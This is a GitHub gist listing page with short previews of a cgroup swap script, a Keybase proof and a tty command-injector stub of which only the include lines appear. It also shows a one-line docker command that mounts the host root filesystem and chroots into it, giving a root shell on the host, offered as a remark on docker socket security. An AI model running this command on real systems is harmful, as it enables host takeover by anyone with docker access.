Skip to content

Instantly share code, notes, and snippets.

@iavael
iavael / swap-cg1.sh
Last active June 4, 2021 16:07
Swap recommendataions (experimental)
#!/bin/bash
set -e
if [ -z "${1}" ]; then
echo "no cgroup in arg" >&2
exit 10
fi
declare MEM_MAX="$(cat ${1}/memory.limit_in_bytes)"
@iavael
iavael / sudocker.sh
Last active January 8, 2022 21:31
Everything you need to know about compatibility of security with unlimited access to docker socket
docker run -it --rm --uts=host --pid=host --net=host --userns=host -v /:/tmp/root busybox chroot /tmp/root sh -l
@iavael
iavael / keybase.md
Created November 12, 2018 15:24
keybase.md

Keybase proof

I hereby claim:

  • I am iavael on github.
  • I am iavael (https://keybase.io/iavael) on keybase.
  • I have a public key ASBRxz_UTKkeWtl8j6OANQaZRIY4tbKv2KzFeyPsCEZNYQo

To claim this, I am signing this object:

@iavael
iavael / ttyc.c
Created March 10, 2012 14:59
An injector of command into tty, found by me somewhere in the internets and prettified a bit.
#include <stdlib.h>
#include <stdio.h>
#include <ctype.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/ioctl.h>
#include <string.h>
#include <unistd.h>